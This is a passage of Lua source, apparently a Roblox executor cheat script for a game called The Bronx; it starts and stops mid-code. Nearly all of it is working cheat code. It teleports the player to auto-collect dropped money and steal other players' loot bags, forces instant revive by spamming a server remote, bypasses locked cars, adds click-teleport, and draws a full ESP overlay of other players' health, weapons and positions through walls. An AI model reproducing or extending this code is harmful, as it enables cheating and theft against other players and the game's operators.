                for Index, Value in workspace["1# Map"]["2 Crosswalks"].Safes:GetChildren() do
                    if Value:IsA("Model") and Value.Name == "Safe" then
                        if Value.WorldPivot == CFrame.new(-215.944153, 292.669647, -1034.16846, 0, 0, -1, -1, 0, 0, 0, 1, 0) then
                            Safe = Value
                            break
                        end
                    end
                end


                return Safe
            end)

            CollectDroppedMoney = LPH_NO_VIRTUALIZE(function()  
                if not Config.TheBronx.Farms.CollectDroppedMoney then return end
                if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then return end
                local OldCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame

                for Index, Value in next, {Workspace.Dollas:GetChildren()} do
                    for _Index, _Value in Value do
                        if not _Value:IsA("Part") then continue end

                        Teleport(_Value.CFrame + Vector3.new(0, 3.5, 0))

                        task.wait(0.4)

                        fireproximityprompt(_Value.ProximityPrompt)

                        task.wait(_Value.ProximityPrompt.HoldDuration)
                    end
                end

                Teleport(OldCFrame)

                task.wait(0.4)

                return true
            end)

            local GunNames = {}

            for Index, Value in Lighting:GetChildren() do
                if Value:IsA("Tool") and Value:FindFirstChild("Setting") then
                    table.insert(GunNames, Value.Name)
                end
            end

            CollectLootBags = LPH_NO_VIRTUALIZE(function()  
                if not Config.TheBronx.Farms.CollectDroppedLoot then return end
                if not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then return end
                local OldCFrame = LocalPlayer.Character.HumanoidRootPart.CFrame

                for Index, Value in next, {Workspace.Storage:GetChildren()} do
                    for _Index, _Value in Value do
                        if not _Value:IsA("MeshPart") then continue end
                        if _Value:FindFirstChild("PlayerName").Value == LocalPlayer.Name then continue end
                        
                        local _GunFound = true

                        --[[if Config.TheBronx.Farms.OnlyCollectGuns then
                            _GunFound = false; for __Index, __Value in _Value.Container:GetChildren() do
                                if table.find(GunNames, __Value.Name) then
                                    _GunFound = true;
                                end
                            end
                        end]]

                        if _GunFound == false then continue end;

                        Teleport(_Value.CFrame + Vector3.new(0, 3.5, 0))

                        task.wait(0.4)

                        fireproximityprompt(_Value.stealprompt)

                        task.wait(_Value.stealprompt.HoldDuration)
                    end
                end

                return true
            end)

            Workspace.Storage.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function()
                task.spawn(CollectLootBags)
            end))

            Workspace.Dollas.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function()
                task.spawn(CollectDroppedMoney)
            end))

            WashMoney = LPH_NO_VIRTUALIZE(function()
                -- TODO
            end)

            DryMoney = LPH_NO_VIRTUALIZE(function()
                -- TODO
            end)

            RunService.PreRender:Connect(LPH_NO_VIRTUALIZE(function()
                if not Config.TheBronx.PlayerModifications.InstantRevive then return end
                if not LocalPlayer.Character then return end
                if not LocalPlayer.Character:FindFirstChild("Humanoid") then return end

                if LocalPlayer.Character.Humanoid:GetState() == Enum.HumanoidStateType.Physics then
                    FireServer(ReplicatedStorage.FSpamRemote)
                    LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.GettingUp)
                end

                StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
            end))

            ProximityPromptService.PromptButtonHoldBegan:Connect(function(Prompt, Self)
                if Prompt and Self == LocalPlayer and fireproximityprompt then
                    if Config.TheBronx.PlayerModifications.InstantInteract then
                        fireproximityprompt(Prompt, true)
                    end

                    if Config.TheBronx.PlayerModifications.BypassLockedCars then
                        if Self == LocalPlayer then
                            while true do
                                if Prompt.Parent:FindFirstChild("DriveSeat") then
                                    if Prompt:IsA("VehicleSeat") then
                                        Prompt:Sit(LocalPlayer.Character.Humanoid)
                                    else
                                        Prompt = Prompt.Parent
                                    end

                                    break
                                else
                                    Prompt = Prompt.Parent
                                end
                    
                                if not Prompt.Parent then
                                    break
                                end
                            end
                        end
                    end
                end 
            end)

            local Teleport_Debounce = false
            UserInputService.InputBegan:Connect(LPH_NO_VIRTUALIZE(function(Input, Game_Event)
                if not library then return end
                if not library.flags then return end
                if Game_Event then return end
                if Input.UserInputType == Enum.UserInputType.MouseButton1 and library.flags["ClickTeleport_TheBronx"] and Config.TheBronx.ClickTeleportActive then
                    local MouseLocation = UserInputService:GetMouseLocation()
                    local Ray = Camera:ViewportPointToRay(MouseLocation.X, MouseLocation.Y)
                    local RaycastParams = RaycastParams.new()
                    RaycastParams.FilterType = Enum.RaycastFilterType.Blacklist
                    RaycastParams.FilterDescendantsInstances = {LocalPlayer.Character, Workspace:FindFirstChild("Cameras"), Workspace:FindFirstChild("CameraLocations")}
                    local Cast = Workspace:Raycast(Ray.Origin, Ray.Direction * 1000, RaycastParams)
                    
                    if Cast and not Teleport_Debounce then
                        Teleport_Debounce = true

                        Teleport(CFrame.new(Cast.Position + Vector3.new(0,3,0)))

                        Teleport_Debounce = false
                    end
                end
            end))

            if Workspace:FindFirstChild("GUNS") then
                for Index, Value in Workspace:FindFirstChild("GUNS"):GetChildren() do
                    if not Value:IsA("Model") then continue end;
                    local Price = Value:FindFirstChild("Price", true).Value;
                    if Price == 0 then continue end;
                    if Price > 100000 then continue end;
                    if Price < 10 then continue end;
                    
                    if not table.find(Config.Guns, Value.Name.." - $"..tostring(Price)) then
                        table.insert(Config.Guns, Value.Name.." - $"..tostring(Price));
                    end;
                end;
            end;

            table.sort(Config.Guns, LPH_NO_VIRTUALIZE(function(a,b)
                return a<b
            end));
        end
    end)()
end

local Fonts = {}; do
    local function RegisterFont(Name, Weight, Style, Asset)
        if isfile(library.directory.."/assets/"..Asset.Id) then
            delfile(library.directory.."/assets/"..Asset.Id)
        end

        writefile(library.directory.."/assets/"..Asset.Id, Asset.Font)

        local Data = {
            name = Name,
            faces = {
                {
                    Name = "Normal",
                    weight = Weight,
                    style = Style,
                    assetId = getcustomasset(library.directory.."/assets/"..Asset.Id),
                },
            },
        }

        writefile(library.directory.."/fonts/"..Name .. ".font", Services.HttpService:JSONEncode(Data))

        return getcustomasset(library.directory.."/fonts/"..Name .. ".font");
    end
    
    local Tahoma = RegisterFont("Tahoma", 400, "Normal", {
        Id = "Tahoma.ttf",
        Font = game:HttpGet("https://github.com/KingVonOBlockJoyce/OctoHook-UI/raw/refs/heads/main/fs-tahoma-8px%20(3).ttf"),
    })

    local Pixel = RegisterFont("Pixel", 400, "Normal", {
        Id = "Pixel.ttf",
        Font = game:HttpGet("https://github.com/KingVonOBlockJoyce/vaderpaste.luau/raw/refs/heads/main/Pixel.ttf"),
    })

    local Minecraftia = RegisterFont("Minecraftia", 400, "Normal", {
        Id = "Minecraftia.ttf",
        Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/Minecraftia-Regular.ttf"),
    }) 

    local Verdana = RegisterFont("Verdana", 400, "Normal", {
        Id = "Verdana.ttf",
        Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/Verdana-Font.ttf"),
    })

    Fonts["Plex"] = Font.new(Tahoma, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
    Fonts["Pixel"] = Font.new(Pixel, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
    Fonts["Minecraftia"] = Font.new(Minecraftia, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
    Fonts["Verdana"] = Font.new(Verdana, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
end

local Players_ESP = {}

local RefreshAllElements = LPH_NO_VIRTUALIZE(function()
    for i,v in Players_ESP do
        if v and v.RefreshElements then
            v.RefreshElements()
        end
    end 
end)

do
    local Workspace, RunService, Players, CoreGui = Services.Workspace, Services.RunService, Services.Players, Services.CoreGui

    -- Def & Vars
    local Euphoria = Config.ESP.Connections;
    local lplayer = Players.LocalPlayer;
    local Cam = Workspace.CurrentCamera;
    local RotationAngle, Tick = -45, tick();

    local Functions = {}
    do
        function Functions:Create(Class, Properties)
            local _Instance = typeof(Class) == 'string' and Instance.new(Class) or Class
            for Property, Value in pairs(Properties) do
                _Instance[Property] = Value
            end
            return _Instance;
        end
        --
        Functions.FadeOutOnDist = LPH_NO_VIRTUALIZE(function(element, distance)
            local transparency = math.max(0.1, 1 - (distance / Config.ESP.MaxDistance))
            if element:IsA("TextLabel") then
                element.TextTransparency = 1 - transparency
            elseif element:IsA("ImageLabel") then
                element.ImageTransparency = 1 - transparency
            elseif element:IsA("UIStroke") then
                element.Transparency = 1 - transparency
            elseif element:IsA("Frame") and (element == Healthbar or element == BehindHealthbar) then
                element.BackgroundTransparency = 1 - transparency
            elseif element:IsA("Frame") then
                element.BackgroundTransparency = 1 - transparency
            elseif element:IsA("Highlight") then
                element.FillTransparency = 1 - transparency
                element.OutlineTransparency = 1 - transparency
            end;
        end);  

        Functions.AddOutline = LPH_NO_VIRTUALIZE(function(Frame, Thickness)     
            Functions:Create("Frame", {
                Parent = Frame,
                BorderSizePixel = 0,
                BackgroundColor3 = Color3.new(0, 0, 0),
                Position = UDim2.new(0, -Thickness, 0, -Thickness),
                Size = UDim2.new(1, Thickness * 2, 0, Thickness),
                ZIndex = Frame.ZIndex - 1
            })
        
            Functions:Create("Frame", {
                Parent = Frame,
                BorderSizePixel = 0,
                BackgroundColor3 = Color3.new(0, 0, 0),
                Position = UDim2.new(0, -Thickness, 1, 0),
                Size = UDim2.new(1, Thickness * 2, 0, Thickness),
                ZIndex = Frame.ZIndex - 1
            })
        
            Functions:Create("Frame", {
                Parent = Frame,
                BorderSizePixel = 0,

                BackgroundColor3 = Color3.new(0, 0, 0),
                Position = UDim2.new(0, -Thickness, 0, 0),
                Size = UDim2.new(0, Thickness, 1, 0),
                ZIndex = Frame.ZIndex - 1
            })
        
            Functions:Create("Frame", {
                Parent = Frame,
                BorderSizePixel = 0,

                BackgroundColor3 = Color3.new(0, 0, 0),
                Position = UDim2.new(1, 0, 0, 0),
                Size = UDim2.new(0, Thickness, 1, 0),
                ZIndex = Frame.ZIndex - 1
            })
        end)
    end;

    do -- Initalize
        local ScreenGui = Functions:Create("ScreenGui", {
            Parent = CoreGui,
            Name = "ESPHolder",
            ResetOnSpawn = false,
        });

        local DupeCheck = LPH_NO_VIRTUALIZE(function(plr)
            if ScreenGui:FindFirstChild(plr.Name) then
                ScreenGui[plr.Name]:Destroy()
            end
        end)

        local getHealthColor = LPH_NO_VIRTUALIZE(function(currentHealth, maxHealth)    
            return Config.ESP.Drawing.Healthbar.GradientRGB1:Lerp(Config.ESP.Drawing.Healthbar.GradientRGB2, (currentHealth / maxHealth))
        end)

        local ESP = function(plr)
            task.spawn(LPH_JIT_MAX(function()
            if plr == lplayer then return end

            coroutine.wrap(DupeCheck)(plr)
            local Name = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui, Position = UDim2.new(0.5, 0, 0, -11), Size = UDim2.new(0, 100, 0, 20), AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255, 255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0, TextStrokeColor3 = Color3.fromRGB(0, 0, 0), RichText = true})
            local Distance = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui, Position = UDim2.new(0.5, 0, 0, 11), Size = UDim2.new(0, 100, 0, 20), AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255, 255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0, TextStrokeColor3 = Color3.fromRGB(0, 0, 0), RichText = true})
            local Weapon = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui, Position = UDim2.new(0.5, 0, 0, 31), Size = UDim2.new(0, 100, 0, 20), AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255, 255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0, TextStrokeColor3 = Color3.fromRGB(0, 0, 0), RichText = true, Text = "None"})
            local Box = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Color3.fromRGB(0, 0, 0), BackgroundTransparency = 0.75, BorderSizePixel = 0})
            local Gradient1 = Functions:Create("UIGradient", {Parent = Box, Enabled = Config.ESP.Drawing.Boxes.GradientFill, Color = ColorSequence.new{ColorSequenceKeypoint.new(0, Config.ESP.Drawing.Boxes.GradientFillRGB1), ColorSequenceKeypoint.new(1, Config.ESP.Drawing.Boxes.GradientFillRGB2)}})
            local Outline = Functions:Create("UIStroke", {Parent = Box, Enabled = Config.ESP.Drawing.Boxes.Gradient, Transparency = 0, Color = Color3.fromRGB(255, 255, 255), LineJoinMode = Enum.LineJoinMode.Miter})
            local Gradient2 = Functions:Create("UIGradient", {Parent = Outline, Enabled = Config.ESP.Drawing.Boxes.Gradient, Color = ColorSequence.new{ColorSequenceKeypoint.new(0, Config.ESP.Drawing.Boxes.GradientRGB1), ColorSequenceKeypoint.new(1, Config.ESP.Drawing.Boxes.GradientRGB2)}})
            local Healthbar = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Color3.fromRGB(255, 255, 255), BackgroundTransparency = 0})
            local BehindHealthbar = Functions:Create("Frame", {BorderColor3 = Color3.fromRGB(0, 0, 0), Parent = ScreenGui, ZIndex = -1, BackgroundColor3 = Color3.fromRGB(0, 0, 0), BackgroundTransparency = 0})
            local HealthbarGradient = Functions:Create("UIGradient", {Parent = Healthbar, Enabled = Config.ESP.Drawing.Healthbar.Gradient, Rotation = -90, Color = ColorSequence.new{ColorSequenceKeypoint.new(0, Config.ESP.Drawing.Healthbar.GradientRGB1), ColorSequenceKeypoint.new(1, Config.ESP.Drawing.Healthbar.GradientRGB2)}})
            local HealthText = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui, Position = UDim2.new(0.5, 0, 0, 31), Size = UDim2.new(0, 100, 0, 20), AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255, 255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0, TextStrokeColor3 = Color3.fromRGB(0, 0, 0), ZIndex = 500})
            local Chams = Functions:Create("Highlight", {Parent = ScreenGui, FillTransparency = 1, OutlineTransparency = 0, OutlineColor = Color3.fromRGB(119, 120, 255), DepthMode = "AlwaysOnTop"})
            local WeaponIcon = Functions:Create("ImageLabel", {Parent = ScreenGui, BackgroundTransparency = 1, BorderColor3 = Color3.fromRGB(0, 0, 0), BorderSizePixel = 0, Size = UDim2.new(0, 40, 0, 40)})
            local Gradient3 = Functions:Create("UIGradient", {Parent = WeaponIcon, Rotation = -90, Enabled = Config.ESP.Drawing.Weapons.Gradient, Color = ColorSequence.new{ColorSequenceKeypoint.new(0, Config.ESP.Drawing.Weapons.GradientRGB1), ColorSequenceKeypoint.new(1, Config.ESP.Drawing.Weapons.GradientRGB2)}})
            local LeftTop = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
            local LeftSide = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
            local RightTop = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
            local RightSide = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
            local BottomSide = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
            local BottomDown = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
            local BottomRightSide = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
            local BottomRightDown = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
            local Flag1 = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 100, 0, 20), AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255, 255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0, TextStrokeColor3 = Color3.fromRGB(0, 0, 0)})
            local Flag2 = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 100, 0, 20), AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255, 255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0, TextStrokeColor3 = Color3.fromRGB(0, 0, 0)})
            --local DroppedItems = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui, AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255, 255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0, TextStrokeColor3 = Color3.fromRGB(0, 0, 0)})
            --
            Functions.AddOutline(LeftTop, 1); Functions.AddOutline(LeftSide, 1); Functions.AddOutline(LeftSide, 1); Functions.AddOutline(RightTop, 1); Functions.AddOutline(RightSide, 1); Functions.AddOutline(BottomSide, 1); Functions.AddOutline(BottomDown, 1); Functions.AddOutline(BottomRightSide, 1); Functions.AddOutline(BottomRightDown, 1); 
            if not plr.Character then plr.CharacterAdded:Wait() end
            local Humanoid, HRP = plr.Character:WaitForChild("Humanoid"), plr.Character:WaitForChild("HumanoidRootPart")

            local Pos, OnScreen = Cam:WorldToScreenPoint(HRP.Position)
            local Dist = (Cam.CFrame.Position - HRP.Position).Magnitude
                            
            local Size = HRP.Size.Y

            if DefaultPlayerSettings[plr.Name] and DefaultPlayerSettings[plr.Name].RootSettings and DefaultPlayerSettings[plr.Name].RootSettings.Size then
                Size = DefaultPlayerSettings[plr.Name].RootSettings.Size.Y
            end

            local health_clamped = math.clamp(Humanoid.Health, 0, Humanoid.MaxHealth)
            local health = health_clamped / Humanoid.MaxHealth;
            
            local scaleFactor = (Size * Cam.ViewportSize.Y) / (Pos.Z * 2)
            
            local w, h = 3 * scaleFactor, 4.5 * scaleFactor

            if not Players_ESP[plr.Name] then
                -- ERROR BECAUSE LEAVE + JOIN NEW PLAYER CHARACTER NEW ESP ELEMTNS

                Players_ESP[plr.Name] = {}
                Players_ESP[plr.Name].RefreshElements = LPH_JIT_MAX(function()
                    task.spawn(LPH_NO_VIRTUALIZE(function()
                        if Config.ESP.Font == Fonts["Plex"] or Config.ESP.Font == Fonts["Pixel"] or Config.ESP.Font == Fonts["Minecraftia"] or Config.ESP.Font == Fonts["Verdana"] then
                            HealthText.FontFace = Config.ESP.Font
                            Name.FontFace = Config.ESP.Font
                            Distance.FontFace = Config.ESP.Font
                            Weapon.FontFace = Config.ESP.Font
                        else
                            HealthText.Font = Config.ESP.Font
                            Name.Font = Config.ESP.Font
                            Distance.Font = Config.ESP.Font
                            Weapon.Font = Config.ESP.Font
                        end

                        do -- \\ Boxes
                            Box.Visible = Config.ESP.Drawing.Boxes.Full.Enabled
                            if Config.ESP.Drawing.Boxes.Filled.Enabled then
                                Box.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
                                if Config.ESP.Drawing.Boxes.GradientFill then
                                    Box.BackgroundTransparency = Config.ESP.Drawing.Boxes.Filled.Transparency;
                                else
                                    Box.BackgroundTransparency = 1
                                end
                                Box.BorderSizePixel = 1
                            else
                                Box.BackgroundTransparency = 1
                            end

                            if not Config.ESP.Drawing.Boxes.Bounding.Enabled or (Config.ESP.Drawing.Boxes.Corner.Enabled and Config.ESP.Drawing.Boxes.Bounding.Enabled) then
                                LeftTop.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
                                LeftTop.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                                LeftSide.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
                                LeftSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                                BottomSide.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
                                BottomSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                                BottomDown.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
                                BottomDown.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                                RightTop.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
                                RightTop.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                                RightSide.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
                                RightSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                                BottomRightSide.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
                                BottomRightSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                                BottomRightDown.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
                                BottomRightDown.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB
                            end

                            if not Config.ESP.Drawing.Boxes.Corner.Enabled then
                                LeftTop.Transparency = Config.ESP.Drawing.Boxes.Bounding.Transparency
                                LeftSide.Transparency = Config.ESP.Drawing.Boxes.Bounding.Transparency
                                BottomSide.Transparency = Config.ESP.Drawing.Boxes.Bounding.Transparency
                                RightSide.Transparency = Config.ESP.Drawing.Boxes.Bounding.Transparency

                                LeftTop.BackgroundColor3 = Config.ESP.Drawing.Boxes.Bounding.RGB
                                LeftSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Bounding.RGB
                                BottomSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Bounding.RGB
                                RightSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Bounding.RGB
                            end

                            BottomSide.AnchorPoint = Vector2.new(0, 5)
                            BottomDown.AnchorPoint = Vector2.new(0, 1)
                            RightTop.AnchorPoint = Vector2.new(1, 0)
                            RightSide.AnchorPoint = Vector2.new(0, 0)
                            BottomRightSide.AnchorPoint = Vector2.new(1, 1)
                            BottomRightDown.AnchorPoint = Vector2.new(1, 1)

                            if not Config.ESP.Drawing.Boxes.Animate then
                                Gradient1.Rotation = -45
                                Gradient2.Rotation = -45
                            end

                            Gradient1.Color = ColorSequence.new{ColorSequenceKeypoint.new(0, Config.ESP.Drawing.Boxes.GradientFillRGB1), ColorSequenceKeypoint.new(1, Config.ESP.Drawing.Boxes.GradientFillRGB2)}
                            Gradient2.Color = ColorSequence.new{ColorSequenceKeypoint.new(0, Config.ESP.Drawing.Boxes.GradientRGB1), ColorSequenceKeypoint.new(1, Config.ESP.Drawing.Boxes.GradientRGB2)}
                        end
                        
                        do -- \\ Names
                            Name.TextSize = Config.ESP.FontSize
                            --Name.Font = Config.ESP.Font
                            Name.TextColor3 = Config.ESP.Drawing.Names.RGB
                            Name.TextStrokeTransparency = Config.ESP.Drawing.Names.Transparency
                        end

                        do -- \\ Chams
                            if Config.ESP.Drawing.Chams.VisibleCheck then
                                Chams.DepthMode = "Occluded"
                            else
                                Chams.DepthMode = "AlwaysOnTop"
                            end

                            Chams.FillColor = Config.ESP.Drawing.Chams.FillRGB
                            Chams.OutlineColor = Config.ESP.Drawing.Chams.OutlineRGB

                            if not Config.ESP.Drawing.Chams.Thermal then 
                                Chams.OutlineTransparency = Config.ESP.Drawing.Chams.Outline_Transparency / 100
                                Chams.FillTransparency = Config.ESP.Drawing.Chams.Fill_Transparency / 100
                            end
                        end

                        do -- \\ Rest im lazy cuzzy bro
                            Distance.TextStrokeTransparency = Config.ESP.Drawing.Distances.Transparency
                            Distance.TextSize = Config.ESP.FontSize
                            Distance.TextColor3 = Config.ESP.Drawing.Distances.RGB
                            Weapon.TextStrokeTransparency = Config.ESP.Drawing.Weapons.Transparency
                            Weapon.TextSize = Config.ESP.FontSize
                            Weapon.TextColor3 = Config.ESP.Drawing.Weapons.WeaponTextRGB
                        end
                    end))
                end)

                Players_ESP[plr.Name].Health_Changed = LPH_NO_VIRTUALIZE(function()
                    health_clamped = math.clamp(Humanoid.Health, 0, Humanoid.MaxHealth)
                    health = health_clamped / Humanoid.MaxHealth;
                end)

                Players_ESP[plr.Name].Health_Changed()

                Players_ESP[plr.Name].Child_Added = LPH_NO_VIRTUALIZE(function(Item)
                    if not Item:IsA("Tool") then 
                        return
                    end 

                    local name = plr.Character:FindFirstChild(Item.Name) and Item.Name or "None"

                    Weapon.Text = name
                end)

                Players_ESP[plr.Name].ToolConnection_Added = plr.Character.ChildAdded:Connect(Players_ESP[plr.Name].Child_Added)
                Players_ESP[plr.Name].ToolConnection_Removed = plr.Character.ChildRemoved:Connect(Players_ESP[plr.Name].Child_Added)

                Players_ESP[plr.Name].HumanoidConnection = Humanoid.HealthChanged:Connect(Players_ESP[plr.Name].Health_Changed)

                Players_ESP[plr.Name].CharacterAdded = plr.CharacterAdded:Connect(LPH_JIT_MAX(function(Character)
                    Humanoid = Character:WaitForChild("Humanoid")
                    HRP = Character:WaitForChild("HumanoidRootPart")
                    Players_ESP[plr.Name].ToolConnection_Added:Disconnect()
                    Players_ESP[plr.Name].ToolConnection_Removed:Disconnect()

                    Players_ESP[plr.Name].ToolConnection_Removed = nil
                    Players_ESP[plr.Name].ToolConnection_Added = nil

                    Players_ESP[plr.Name].ToolConnection_Added = plr.Character.ChildAdded:Connect(Players_ESP[plr.Name].Child_Added)
                    Players_ESP[plr.Name].ToolConnection_Removed = plr.Character.ChildRemoved:Connect(Players_ESP[plr.Name].Child_Added)

                    Players_ESP[plr.Name].HumanoidConnection:Disconnect()
                    Players_ESP[plr.Name].HumanoidConnection = Humanoid.HealthChanged:Connect(Players_ESP[plr.Name].Health_Changed)
                    Players_ESP[plr.Name].Health_Changed()
                    Players_ESP[plr.Name].RefreshElements()
                end))

                Players_ESP[plr.Name].RefreshElements()
            end

            local Updater = function()
                local Connection;
                local HideESP = LPH_NO_VIRTUALIZE(function()
                    Box.Visible = false;
                    Name.Visible = false;
                    Distance.Visible = false;
                    Weapon.Visible = false;
                    Healthbar.Visible = false;
                    BehindHealthbar.Visible = false;
                    HealthText.Visible = false;
                    WeaponIcon.Visible = false;
                    LeftTop.Visible = false;
                    LeftSide.Visible = false;
                    BottomSide.Visible = false;
                    BottomDown.Visible = false;
                    RightTop.Visible = false;
                    RightSide.Visible = false;
                    BottomRightSide.Visible = false;
                    BottomRightDown.Visible = false;
                    Flag1.Visible = false;
                    Chams.Enabled = false;
                    Flag2.Visible = false;
                    if not plr then
                        ScreenGui:Destroy();
                        Connection:Disconnect();
                    end
                end)
                --
                Connection = Euphoria.RunService.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function()
                    if plr.Character and lplayer.Character and Config.ESP.Enabled then
                        if Humanoid and HRP then
                            Pos, OnScreen = Cam:WorldToScreenPoint(HRP.Position)
                            Dist = (Cam.CFrame.Position - HRP.Position).Magnitude
                            
                            if OnScreen and Dist <= Config.ESP.MaxDistance then
                                Size = HRP.Size.Y

                                if DefaultPlayerSettings[plr.Name] and DefaultPlayerSettings[plr.Name].RootSettings and DefaultPlayerSettings[plr.Name].RootSettings.Size then
                                    Size = DefaultPlayerSettings[plr.Name].RootSettings.Size.Y
                                end
                                
                                scaleFactor = (Size * Cam.ViewportSize.Y) / (Pos.Z * 2)
                                
                                w, h = 3 * scaleFactor, 4.5 * scaleFactor

                                -- Fade-out effect --
                                if Config.ESP.FadeOut.OnDistance then
                                    Functions.FadeOutOnDist(Box, Dist)
                                    Functions.FadeOutOnDist(Outline, Dist)
                                    Functions.FadeOutOnDist(Name, Dist)
                                    Functions.FadeOutOnDist(Distance, Dist)
                                    Functions.FadeOutOnDist(Weapon, Dist)
                                    Functions.FadeOutOnDist(Healthbar, Dist)
                                    Functions.FadeOutOnDist(BehindHealthbar, Dist)
                                    Functions.FadeOutOnDist(HealthText, Dist)
                                    Functions.FadeOutOnDist(WeaponIcon, Dist)
                                    Functions.FadeOutOnDist(LeftTop, Dist)
                                    Functions.FadeOutOnDist(LeftSide, Dist)
                                    Functions.FadeOutOnDist(BottomSide, Dist)
                                    Functions.FadeOutOnDist(BottomDown, Dist)
                                    Functions.FadeOutOnDist(RightTop, Dist)
                                    Functions.FadeOutOnDist(RightSide, Dist)
                                    Functions.FadeOutOnDist(BottomRightSide, Dist)
                                    Functions.FadeOutOnDist(BottomRightDown, Dist)
                                    Functions.FadeOutOnDist(Chams, Dist)
                                    Functions.FadeOutOnDist(Flag1, Dist)
                                    Functions.FadeOutOnDist(Flag2, Dist)
                                end
                                
                                -- Teamcheck
                                if HRP and Humanoid then
                                    do -- Chams
                                        Chams.Adornee = plr.Character
                                        Chams.Enabled = Config.ESP.Drawing.Chams.Enabled
                                        do -- Breathe
                                            if Config.ESP.Drawing.Chams.Thermal then
